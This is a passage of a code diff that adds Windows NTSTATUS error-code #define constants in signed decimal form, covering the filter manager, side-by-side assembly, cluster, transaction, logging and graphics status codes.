STATUS_IO_REISSUE_AS_CACHED -1073479623 +#define STATUS_MUI_FILE_NOT_FOUND -1073020927 +#define STATUS_MUI_INVALID_FILE -1073020926 +#define STATUS_MUI_INVALID_RC_CONFIG -1073020925 +#define STATUS_MUI_INVALID_LOCALE_NAME -1073020924 +#define STATUS_MUI_INVALID_ULTIMATEFALLBACK_NAME -1073020923 +#define STATUS_MUI_FILE_NOT_LOADED -1073020922 +#define STATUS_RESOURCE_ENUM_USER_STOP -1073020921 +#define STATUS_FLT_NO_HANDLER_DEFINED -1071906815 +#define STATUS_FLT_CONTEXT_ALREADY_DEFINED -1071906814 +#define STATUS_FLT_INVALID_ASYNCHRONOUS_REQUEST -1071906813 +#define STATUS_FLT_DISALLOW_FAST_IO -1071906812 +#define STATUS_FLT_DISALLOW_FSFILTER_IO -1071906812 +#define STATUS_FLT_INVALID_NAME_REQUEST -1071906811 +#define STATUS_FLT_NOT_SAFE_TO_POST_OPERATION -1071906810 +#define STATUS_FLT_NOT_INITIALIZED -1071906809 +#define STATUS_FLT_FILTER_NOT_READY -1071906808 +#define STATUS_FLT_POST_OPERATION_CLEANUP -1071906807 +#define STATUS_FLT_INTERNAL_ERROR -1071906806 +#define STATUS_FLT_DELETING_OBJECT -1071906805 +#define STATUS_FLT_MUST_BE_NONPAGED_POOL -1071906804 +#define STATUS_FLT_DUPLICATE_ENTRY -1071906803 +#define STATUS_FLT_CBDQ_DISABLED -1071906802 +#define STATUS_FLT_DO_NOT_ATTACH -1071906801 +#define STATUS_FLT_DO_NOT_DETACH -1071906800 +#define STATUS_FLT_INSTANCE_ALTITUDE_COLLISION -1071906799 +#define STATUS_FLT_INSTANCE_NAME_COLLISION -1071906798 +#define STATUS_FLT_FILTER_NOT_FOUND -1071906797 +#define STATUS_FLT_VOLUME_NOT_FOUND -1071906796 +#define STATUS_FLT_INSTANCE_NOT_FOUND -1071906795 +#define STATUS_FLT_CONTEXT_ALLOCATION_NOT_FOUND -1071906794 +#define STATUS_FLT_INVALID_CONTEXT_REGISTRATION -1071906793 +#define STATUS_FLT_NAME_CACHE_MISS -1071906792 +#define STATUS_FLT_NO_DEVICE_OBJECT -1071906791 +#define STATUS_FLT_VOLUME_ALREADY_MOUNTED -1071906790 +#define STATUS_FLT_ALREADY_ENLISTED -1071906789 +#define STATUS_FLT_CONTEXT_ALREADY_LINKED -1071906788 +#define STATUS_FLT_NO_WAITER_FOR_REPLY -1071906784 +#define STATUS_FLT_REGISTRATION_BUSY -1071906781 +#define STATUS_FLT_WCOS_NOT_SUPPORTED -1071906780 +#define STATUS_SXS_SECTION_NOT_FOUND -1072365567 +#define STATUS_SXS_CANT_GEN_ACTCTX -1072365566 +#define STATUS_SXS_INVALID_ACTCTXDATA_FORMAT -1072365565 +#define STATUS_SXS_ASSEMBLY_NOT_FOUND -1072365564 +#define STATUS_SXS_MANIFEST_FORMAT_ERROR -1072365563 +#define STATUS_SXS_MANIFEST_PARSE_ERROR -1072365562 +#define STATUS_SXS_ACTIVATION_CONTEXT_DISABLED -1072365561 +#define STATUS_SXS_KEY_NOT_FOUND -1072365560 +#define STATUS_SXS_VERSION_CONFLICT -1072365559 +#define STATUS_SXS_WRONG_SECTION_TYPE -1072365558 +#define STATUS_SXS_THREAD_QUERIES_DISABLED -1072365557 +#define STATUS_SXS_ASSEMBLY_MISSING -1072365556 +#define STATUS_SXS_RELEASE_ACTIVATION_CONTEXT 1075118093 +#define STATUS_SXS_PROCESS_DEFAULT_ALREADY_SET -1072365554 +#define STATUS_SXS_EARLY_DEACTIVATION -1072365553 +#define STATUS_SXS_INVALID_DEACTIVATION -1072365552 +#define STATUS_SXS_MULTIPLE_DEACTIVATION -1072365551 +#define STATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY -1072365550 +#define STATUS_SXS_PROCESS_TERMINATION_REQUESTED -1072365549 +#define STATUS_SXS_CORRUPT_ACTIVATION_STACK -1072365548 +#define STATUS_SXS_CORRUPTION -1072365547 +#define STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE -1072365546 +#define STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME -1072365545 +#define STATUS_SXS_IDENTITY_DUPLICATE_ATTRIBUTE -1072365544 +#define STATUS_SXS_IDENTITY_PARSE_ERROR -1072365543 +#define STATUS_SXS_COMPONENT_STORE_CORRUPT -1072365542 +#define STATUS_SXS_FILE_HASH_MISMATCH -1072365541 +#define STATUS_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT -1072365540 +#define STATUS_SXS_IDENTITIES_DIFFERENT -1072365539 +#define STATUS_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT -1072365538 +#define STATUS_SXS_FILE_NOT_PART_OF_ASSEMBLY -1072365537 +#define STATUS_ADVANCED_INSTALLER_FAILED -1072365536 +#define STATUS_XML_ENCODING_MISMATCH -1072365535 +#define STATUS_SXS_MANIFEST_TOO_BIG -1072365534 +#define STATUS_SXS_SETTING_NOT_REGISTERED -1072365533 +#define STATUS_SXS_TRANSACTION_CLOSURE_INCOMPLETE -1072365532 +#define STATUS_SMI_PRIMITIVE_INSTALLER_FAILED -1072365531 +#define STATUS_GENERIC_COMMAND_FAILED -1072365530 +#define STATUS_SXS_FILE_HASH_MISSING -1072365529 +#define STATUS_CLUSTER_INVALID_NODE -1072496639 +#define STATUS_CLUSTER_NODE_EXISTS -1072496638 +#define STATUS_CLUSTER_JOIN_IN_PROGRESS -1072496637 +#define STATUS_CLUSTER_NODE_NOT_FOUND -1072496636 +#define STATUS_CLUSTER_LOCAL_NODE_NOT_FOUND -1072496635 +#define STATUS_CLUSTER_NETWORK_EXISTS -1072496634 +#define STATUS_CLUSTER_NETWORK_NOT_FOUND -1072496633 +#define STATUS_CLUSTER_NETINTERFACE_EXISTS -1072496632 +#define STATUS_CLUSTER_NETINTERFACE_NOT_FOUND -1072496631 +#define STATUS_CLUSTER_INVALID_REQUEST -1072496630 +#define STATUS_CLUSTER_INVALID_NETWORK_PROVIDER -1072496629 +#define STATUS_CLUSTER_NODE_DOWN -1072496628 +#define STATUS_CLUSTER_NODE_UNREACHABLE -1072496627 +#define STATUS_CLUSTER_NODE_NOT_MEMBER -1072496626 +#define STATUS_CLUSTER_JOIN_NOT_IN_PROGRESS -1072496625 +#define STATUS_CLUSTER_INVALID_NETWORK -1072496624 +#define STATUS_CLUSTER_NO_NET_ADAPTERS -1072496623 +#define STATUS_CLUSTER_NODE_UP -1072496622 +#define STATUS_CLUSTER_NODE_PAUSED -1072496621 +#define STATUS_CLUSTER_NODE_NOT_PAUSED -1072496620 +#define STATUS_CLUSTER_NO_SECURITY_CONTEXT -1072496619 +#define STATUS_CLUSTER_NETWORK_NOT_INTERNAL -1072496618 +#define STATUS_CLUSTER_POISONED -1072496617 +#define STATUS_CLUSTER_NON_CSV_PATH -1072496616 +#define STATUS_CLUSTER_CSV_VOLUME_NOT_LOCAL -1072496615 +#define STATUS_CLUSTER_CSV_READ_OPLOCK_BREAK_IN_PROGRESS -1072496608 +#define STATUS_CLUSTER_CSV_AUTO_PAUSE_ERROR -1072496607 +#define STATUS_CLUSTER_CSV_REDIRECTED -1072496606 +#define STATUS_CLUSTER_CSV_NOT_REDIRECTED -1072496605 +#define STATUS_CLUSTER_CSV_VOLUME_DRAINING -1072496604 +#define STATUS_CLUSTER_CSV_SNAPSHOT_CREATION_IN_PROGRESS -1072496603 +#define STATUS_CLUSTER_CSV_VOLUME_DRAINING_SUCCEEDED_DOWNLEVEL -1072496602 +#define STATUS_CLUSTER_CSV_NO_SNAPSHOTS -1072496601 +#define STATUS_CSV_IO_PAUSE_TIMEOUT -1072496600 +#define STATUS_CLUSTER_CSV_INVALID_HANDLE -1072496599 +#define STATUS_CLUSTER_CSV_SUPPORTED_ONLY_ON_COORDINATOR -1072496592 +#define STATUS_CLUSTER_CAM_TICKET_REPLAY_DETECTED -1072496591 +#define STATUS_TRANSACTIONAL_CONFLICT -1072103423 +#define STATUS_INVALID_TRANSACTION -1072103422 +#define STATUS_TRANSACTION_NOT_ACTIVE -1072103421 +#define STATUS_TM_INITIALIZATION_FAILED -1072103420 +#define STATUS_RM_NOT_ACTIVE -1072103419 +#define STATUS_RM_METADATA_CORRUPT -1072103418 +#define STATUS_TRANSACTION_NOT_JOINED -1072103417 +#define STATUS_DIRECTORY_NOT_RM -1072103416 +#define STATUS_COULD_NOT_RESIZE_LOG -2145845239 +#define STATUS_TRANSACTIONS_UNSUPPORTED_REMOTE -1072103414 +#define STATUS_LOG_RESIZE_INVALID_SIZE -1072103413 +#define STATUS_REMOTE_FILE_VERSION_MISMATCH -1072103412 +#define STATUS_CRM_PROTOCOL_ALREADY_EXISTS -1072103409 +#define STATUS_TRANSACTION_PROPAGATION_FAILED -1072103408 +#define STATUS_CRM_PROTOCOL_NOT_FOUND -1072103407 +#define STATUS_TRANSACTION_SUPERIOR_EXISTS -1072103406 +#define STATUS_TRANSACTION_REQUEST_NOT_VALID -1072103405 +#define STATUS_TRANSACTION_NOT_REQUESTED -1072103404 +#define STATUS_TRANSACTION_ALREADY_ABORTED -1072103403 +#define STATUS_TRANSACTION_ALREADY_COMMITTED -1072103402 +#define STATUS_TRANSACTION_INVALID_MARSHALL_BUFFER -1072103401 +#define STATUS_CURRENT_TRANSACTION_NOT_VALID -1072103400 +#define STATUS_LOG_GROWTH_FAILED -1072103399 +#define STATUS_OBJECT_NO_LONGER_EXISTS -1072103391 +#define STATUS_STREAM_MINIVERSION_NOT_FOUND -1072103390 +#define STATUS_STREAM_MINIVERSION_NOT_VALID -1072103389 +#define STATUS_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION -1072103388 +#define STATUS_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT -1072103387 +#define STATUS_CANT_CREATE_MORE_STREAM_MINIVERSIONS -1072103386 +#define STATUS_HANDLE_NO_LONGER_VALID -1072103384 +#define STATUS_NO_TXF_METADATA -2145845207 +#define STATUS_LOG_CORRUPTION_DETECTED -1072103376 +#define STATUS_CANT_RECOVER_WITH_HANDLE_OPEN -2145845199 +#define STATUS_RM_DISCONNECTED -1072103374 +#define STATUS_ENLISTMENT_NOT_SUPERIOR -1072103373 +#define STATUS_RECOVERY_NOT_NEEDED 1075380276 +#define STATUS_RM_ALREADY_STARTED 1075380277 +#define STATUS_FILE_IDENTITY_NOT_PERSISTENT -1072103370 +#define STATUS_CANT_BREAK_TRANSACTIONAL_DEPENDENCY -1072103369 +#define STATUS_CANT_CROSS_RM_BOUNDARY -1072103368 +#define STATUS_TXF_DIR_NOT_EMPTY -1072103367 +#define STATUS_INDOUBT_TRANSACTIONS_EXIST -1072103366 +#define STATUS_TM_VOLATILE -1072103365 +#define STATUS_ROLLBACK_TIMER_EXPIRED -1072103364 +#define STATUS_TXF_ATTRIBUTE_CORRUPT -1072103363 +#define STATUS_EFS_NOT_ALLOWED_IN_TRANSACTION -1072103362 +#define STATUS_TRANSACTIONAL_OPEN_NOT_ALLOWED -1072103361 +#define STATUS_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE -1072103360 +#define STATUS_TXF_METADATA_ALREADY_PRESENT -2145845183 +#define STATUS_TRANSACTION_SCOPE_CALLBACKS_NOT_SET -2145845182 +#define STATUS_TRANSACTION_REQUIRED_PROMOTION -1072103357 +#define STATUS_CANNOT_EXECUTE_FILE_IN_TRANSACTION -1072103356 +#define STATUS_TRANSACTIONS_NOT_FROZEN -1072103355 +#define STATUS_TRANSACTION_FREEZE_IN_PROGRESS -1072103354 +#define STATUS_NOT_SNAPSHOT_VOLUME -1072103353 +#define STATUS_NO_SAVEPOINT_WITH_OPEN_FILES -1072103352 +#define STATUS_SPARSE_NOT_ALLOWED_IN_TRANSACTION -1072103351 +#define STATUS_TM_IDENTITY_MISMATCH -1072103350 +#define STATUS_FLOATED_SECTION -1072103349 +#define STATUS_CANNOT_ACCEPT_TRANSACTED_WORK -1072103348 +#define STATUS_CANNOT_ABORT_TRANSACTIONS -1072103347 +#define STATUS_TRANSACTION_NOT_FOUND -1072103346 +#define STATUS_RESOURCEMANAGER_NOT_FOUND -1072103345 +#define STATUS_ENLISTMENT_NOT_FOUND -1072103344 +#define STATUS_TRANSACTIONMANAGER_NOT_FOUND -1072103343 +#define STATUS_TRANSACTIONMANAGER_NOT_ONLINE -1072103342 +#define STATUS_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION -1072103341 +#define STATUS_TRANSACTION_NOT_ROOT -1072103340 +#define STATUS_TRANSACTION_OBJECT_EXPIRED -1072103339 +#define STATUS_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION -1072103338 +#define STATUS_TRANSACTION_RESPONSE_NOT_ENLISTED -1072103337 +#define STATUS_TRANSACTION_RECORD_TOO_LONG -1072103336 +#define STATUS_NO_LINK_TRACKING_IN_TRANSACTION -1072103335 +#define STATUS_OPERATION_NOT_SUPPORTED_IN_TRANSACTION -1072103334 +#define STATUS_TRANSACTION_INTEGRITY_VIOLATED -1072103333 +#define STATUS_TRANSACTIONMANAGER_IDENTITY_MISMATCH -1072103332 +#define STATUS_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT -1072103331 +#define STATUS_TRANSACTION_MUST_WRITETHROUGH -1072103330 +#define STATUS_TRANSACTION_NO_SUPERIOR -1072103329 +#define STATUS_EXPIRED_HANDLE -1072103328 +#define STATUS_TRANSACTION_NOT_ENLISTED -1072103327 +#define STATUS_ENLISTMENT_NOT_INITIALIZED -1072103326 +#define STATUS_LOG_SECTOR_INVALID -1072037887 +#define STATUS_LOG_SECTOR_PARITY_INVALID -1072037886 +#define STATUS_LOG_SECTOR_REMAPPED -1072037885 +#define STATUS_LOG_BLOCK_INCOMPLETE -1072037884 +#define STATUS_LOG_INVALID_RANGE -1072037883 +#define STATUS_LOG_BLOCKS_EXHAUSTED -1072037882 +#define STATUS_LOG_READ_CONTEXT_INVALID -1072037881 +#define STATUS_LOG_RESTART_INVALID -1072037880 +#define STATUS_LOG_BLOCK_VERSION -1072037879 +#define STATUS_LOG_BLOCK_INVALID -1072037878 +#define STATUS_LOG_READ_MODE_INVALID -1072037877 +#define STATUS_LOG_NO_RESTART 1075445772 +#define STATUS_LOG_METADATA_CORRUPT -1072037875 +#define STATUS_LOG_METADATA_INVALID -1072037874 +#define STATUS_LOG_METADATA_INCONSISTENT -1072037873 +#define STATUS_LOG_RESERVATION_INVALID -1072037872 +#define STATUS_LOG_CANT_DELETE -1072037871 +#define STATUS_LOG_CONTAINER_LIMIT_EXCEEDED -1072037870 +#define STATUS_LOG_START_OF_LOG -1072037869 +#define STATUS_LOG_POLICY_ALREADY_INSTALLED -1072037868 +#define STATUS_LOG_POLICY_NOT_INSTALLED -1072037867 +#define STATUS_LOG_POLICY_INVALID -1072037866 +#define STATUS_LOG_POLICY_CONFLICT -1072037865 +#define STATUS_LOG_PINNED_ARCHIVE_TAIL -1072037864 +#define STATUS_LOG_RECORD_NONEXISTENT -1072037863 +#define STATUS_LOG_RECORDS_RESERVED_INVALID -1072037862 +#define STATUS_LOG_SPACE_RESERVED_INVALID -1072037861 +#define STATUS_LOG_TAIL_INVALID -1072037860 +#define STATUS_LOG_FULL -1072037859 +#define STATUS_LOG_MULTIPLEXED -1072037858 +#define STATUS_LOG_DEDICATED -1072037857 +#define STATUS_LOG_ARCHIVE_NOT_IN_PROGRESS -1072037856 +#define STATUS_LOG_ARCHIVE_IN_PROGRESS -1072037855 +#define STATUS_LOG_EPHEMERAL -1072037854 +#define STATUS_LOG_NOT_ENOUGH_CONTAINERS -1072037853 +#define STATUS_LOG_CLIENT_ALREADY_REGISTERED -1072037852 +#define STATUS_LOG_CLIENT_NOT_REGISTERED -1072037851 +#define STATUS_LOG_FULL_HANDLER_IN_PROGRESS -1072037850 +#define STATUS_LOG_CONTAINER_READ_FAILED -1072037849 +#define STATUS_LOG_CONTAINER_WRITE_FAILED -1072037848 +#define STATUS_LOG_CONTAINER_OPEN_FAILED -1072037847 +#define STATUS_LOG_CONTAINER_STATE_INVALID -1072037846 +#define STATUS_LOG_STATE_INVALID -1072037845 +#define STATUS_LOG_PINNED -1072037844 +#define STATUS_LOG_METADATA_FLUSH_FAILED -1072037843 +#define STATUS_LOG_INCONSISTENT_SECURITY -1072037842 +#define STATUS_LOG_APPENDED_FLUSH_FAILED -1072037841 +#define STATUS_LOG_PINNED_RESERVATION -1072037840 +#define STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD -1071972118 +#define STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD_RECOVERED -2145713941 +#define STATUS_VIDEO_DRIVER_DEBUG_REPORT_REQUEST 1075511532 +#define STATUS_MONITOR_NO_DESCRIPTOR -1071841279 +#define STATUS_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT -1071841278 +#define STATUS_MONITOR_INVALID_DESCRIPTOR_CHECKSUM -1071841277 +#define STATUS_MONITOR_INVALID_STANDARD_TIMING_BLOCK -1071841276 +#define STATUS_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED -1071841275 +#define STATUS_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK -1071841274 +#define STATUS_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK -1071841273 +#define STATUS_MONITOR_NO_MORE_DESCRIPTOR_DATA -1071841272 +#define STATUS_MONITOR_INVALID_DETAILED_TIMING_BLOCK -1071841271 +#define STATUS_MONITOR_INVALID_MANUFACTURE_DATE -1071841270 +#define STATUS_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER -1071775744 +#define STATUS_GRAPHICS_INSUFFICIENT_DMA_BUFFER -1071775743 +#define STATUS_GRAPHICS_INVALID_DISPLAY_ADAPTER -1071775742 +#define STATUS_GRAPHICS_ADAPTER_WAS_RESET -1071775741 +#define STATUS_GRAPHICS_INVALID_DRIVER_MODEL -1071775740 +#define STATUS_GRAPHICS_PRESENT_MODE_CHANGED -1071775739 +#define STATUS_GRAPHICS_PRESENT_OCCLUDED -1071775738 +#define STATUS_GRAPHICS_PRESENT_DENIED -1071775737 +#define STATUS_GRAPHICS_CANNOTCOLORCONVERT -1071775736 +#define STATUS_GRAPHICS_DRIVER_MISMATCH -1071775735 +#define STATUS_GRAPHICS_PARTIAL_DATA_POPULATED 1075707914 +#define STATUS_GRAPHICS_PRESENT_REDIRECTION_DISABLED -1071775733 +#define STATUS_GRAPHICS_PRESENT_UNOCCLUDED -1071775732 +#define STATUS_GRAPHICS_WINDOWDC_NOT_AVAILABLE -1071775731 +#define STATUS_GRAPHICS_WINDOWLESS_PRESENT_DISABLED -1071775730 +#define STATUS_GRAPHICS_PRESENT_INVALID_WINDOW -1071775729 +#define STATUS_GRAPHICS_PRESENT_BUFFER_NOT_BOUND -1071775728 +#define STATUS_GRAPHICS_VAIL_STATE_CHANGED -1071775727 +#define STATUS_GRAPHICS_INDIRECT_DISPLAY_ABANDON_SWAPCHAIN -1071775726 +#define STATUS_GRAPHICS_INDIRECT_DISPLAY_DEVICE_STOPPED -1071775725 +#define STATUS_GRAPHICS_MPO_ALLOCATION_UNPINNED -1071775720 +#define STATUS_GRAPHICS_SETDISPLAYMODE_REQUIRED -1071775719 +#define STATUS_GRAPHICS_NO_VIDEO_MEMORY -1071775488 +#define STATUS_GRAPHICS_CANT_LOCK_MEMORY -1071775487 +#define STATUS_GRAPHICS_ALLOCATION_BUSY -1071775486 +#define STATUS_GRAPHICS_TOO_MANY_REFERENCES -1071775485 +#define STATUS_GRAPHICS_TRY_AGAIN_LATER -1071775484 +#define STATUS_GRAPHICS_TRY_AGAIN_NOW -1071775483 +#define STATUS_GRAPHICS_ALLOCATION_INVALID -1071775482 +#define STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE -1071775481 +#define STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED -1071775480 +#define STATUS_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION -1071775479 +#define STATUS_GRAPHICS_INVALID_ALLOCATION_USAGE -1071775472 +#define STATUS_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION -1071775471 +#define STATUS_GRAPHICS_ALLOCATION_CLOSED -1071775470 +#define STATUS_GRAPHICS_INVALID_ALLOCATION_INSTANCE -1071775469 +#define STATUS_GRAPHICS_INVALID_ALLOCATION_HANDLE -1071775468 +#define STATUS_GRAPHICS_WRONG_ALLOCATION_DEVICE -1071775467 +#define STATUS_GRAPHICS_ALLOCATION_CONTENT_LOST -1071775466 +#define STATUS_GRAPHICS_GPU_EXCEPTION_ON_DEVICE -1071775232 +#define STATUS_GRAPHICS_SKIP_ALLOCATION_PREPARATION 1075708417 +#define STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY -1071774976 +#define STATUS_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED -1071774975 +#define STATUS_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED -1071774974 +#define STATUS_GRAPHICS_INVALID_VIDPN -1071774973 +#define STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE -1071774972 +#define STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET -1071774971 +#define STATUS_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED -1071774970 +#define STATUS_GRAPHICS_MODE_NOT_PINNED 1075708679 +#define STATUS_GRAPHICS_INVALID_VIDPN_SOURCEMODESET -1071774968 +#define STATUS_GRAPHICS_INVALID_VIDPN_TARGETMODESET -1071774967 +#define STATUS_GRAPHICS_INVALID_FREQUENCY -1071774966 +#define STATUS_GRAPHICS_INVALID_ACTIVE_REGION -1071774965 +#define STATUS_GRAPHICS_INVALID_TOTAL_REGION -1071774964 +#define STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE -1071774960 +#define STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE -1071774959 +#define STATUS_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET -1071774958 +#define STATUS_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY -1071774957 +#define STATUS_GRAPHICS_MODE_ALREADY_IN_MODESET -1071774956 +#define STATUS_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET -1071774955 +#define STATUS_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET -1071774954 +#define STATUS_GRAPHICS_SOURCE_ALREADY_IN_SET -1071774953 +#define STATUS_GRAPHICS_TARGET_ALREADY_IN_SET -1071774952 +#define STATUS_GRAPHICS_INVALID_VIDPN_PRESENT_PATH -1071774951 +#define STATUS_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY -1071774950 +#define STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET -1071774949 +#define STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE -1071774948 +#define STATUS_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET -1071774947 +#define STATUS_GRAPHICS_NO_PREFERRED_MODE 1075708702 +#define STATUS_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET -1071774945 +#define STATUS_GRAPHICS_STALE_MODESET -1071774944 +#define STATUS_GRAPHICS_INVALID_MONITOR_SOURCEMODESET -1071774943 +#define STATUS_GRAPHICS_INVALID_MONITOR_SOURCE_MODE -1071774942 +#define STATUS_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN -1071774941 +#define STATUS_GRAPHICS_MODE_ID_MUST_BE_UNIQUE -1071774940 +#define STATUS_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION -1071774939 +#define STATUS_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES -1071774938 +#define STATUS_GRAPHICS_PATH_NOT_IN_TOPOLOGY -1071774937 +#define STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE -1071774936 +#define STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET -1071774935 +#define STATUS_GRAPHICS_INVALID_MONITORDESCRIPTORSET -1071774934 +#define STATUS_GRAPHICS_INVALID_MONITORDESCRIPTOR -1071774933 +#define STATUS_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET -1071774932 +#define STATUS_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET -1071774931 +#define STATUS_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE -1071774930 +#define STATUS_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE -1071774929 +#define STATUS_GRAPHICS_RESOURCES_NOT_RELATED -1071774928 +#define STATUS_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE -1071774927 +#define STATUS_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE -1071774926 +#define STATUS_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET -1071774925 +#define STATUS_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER -1071774924 +#define STATUS_GRAPHICS_NO_VIDPNMGR -1071774923 +#define STATUS_GRAPHICS_NO_ACTIVE_VIDPN -1071774922 +#define STATUS_GRAPHICS_STALE_VIDPN_TOPOLOGY -1071774921 +#define STATUS_GRAPHICS_MONITOR_NOT_CONNECTED -1071774920 +#define STATUS_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY -1071774919 +#define STATUS_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE -1071774918 +#define STATUS_GRAPHICS_INVALID_VISIBLEREGION_SIZE -1071774917 +#define STATUS_GRAPHICS_INVALID_STRIDE -1071774916 +#define STATUS_GRAPHICS_INVALID_PIXELFORMAT -1071774915 +#define STATUS_GRAPHICS_INVALID_COLORBASIS -1071774914 +#define STATUS_GRAPHICS_INVALID_PIXELVALUEACCESSMODE -1071774913 +#define STATUS_GRAPHICS_TARGET_NOT_IN_TOPOLOGY -1071774912 +#define STATUS_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT -1071774911 +#define STATUS_GRAPHICS_VIDPN_SOURCE_IN_USE -1071774910 +#define STATUS_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN -1071774909 +#define STATUS_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL -1071774908 +#define STATUS_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION -1071774907 +#define STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED -1071774906 +#define STATUS_GRAPHICS_INVALID_GAMMA_RAMP -1071774905 +#define STATUS_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED -1071774904 +#define STATUS_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED -1071774903 +#define STATUS_GRAPHICS_MODE_NOT_IN_MODESET -1071774902 +#define STATUS_GRAPHICS_DATASET_IS_EMPTY 1075708747 +#define STATUS_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET 1075708748 +#define STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON -1071774899 +#define STATUS_GRAPHICS_INVALID_PATH_CONTENT_TYPE -1071774898 +#define STATUS_GRAPHICS_INVALID_COPYPROTECTION_TYPE -1071774897 +#define STATUS_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS -1071774896 +#define STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED 1075708753 +#define STATUS_GRAPHICS_INVALID_SCANLINE_ORDERING -1071774894 +#define STATUS_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED -1071774893 +#define STATUS_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS -1071774892 +#define STATUS_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT -1071774891 +#define STATUS_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM -1071774890 +#define STATUS_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN -1071774889 +#define STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT -1071774888 +#define STATUS_GRAPHICS_MAX_NUM_PATHS_REACHED -1071774887 +#define STATUS_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION -1071774886 +#define STATUS_GRAPHICS_INVALID_CLIENT_TYPE -1071774885 +#define STATUS_GRAPHICS_CLIENTVIDPN_NOT_SET -1071774884 +#define STATUS_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED -1071774720 +#define STATUS_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED -1071774719 +#define STATUS_GRAPHICS_UNKNOWN_CHILD_STATUS 1075708975 +#define STATUS_GRAPHICS_NOT_A_LINKED_ADAPTER -1071774672 +#define STATUS_GRAPHICS_LEADLINK_NOT_ENUMERATED -1071774671 +#define STATUS_GRAPHICS_CHAINLINKS_NOT_ENUMERATED -1071774670 +#define STATUS_GRAPHICS_ADAPTER_CHAIN_NOT_READY -1071774669 +#define STATUS_GRAPHICS_CHAINLINKS_NOT_STARTED -1071774668 +#define STATUS_GRAPHICS_CHAINLINKS_NOT_POWERED_ON -1071774667 +#define STATUS_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE -1071774666 +#define STATUS_GRAPHICS_LEADLINK_START_DEFERRED 1075708983 +#define STATUS_GRAPHICS_NOT_POST_DEVICE_DRIVER -1071774664 +#define STATUS_GRAPHICS_POLLING_TOO_FREQUENTLY 1075708985 +#define STATUS_GRAPHICS_START_DEFERRED 1075708986 +#define STATUS_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED -1071774661 +#define 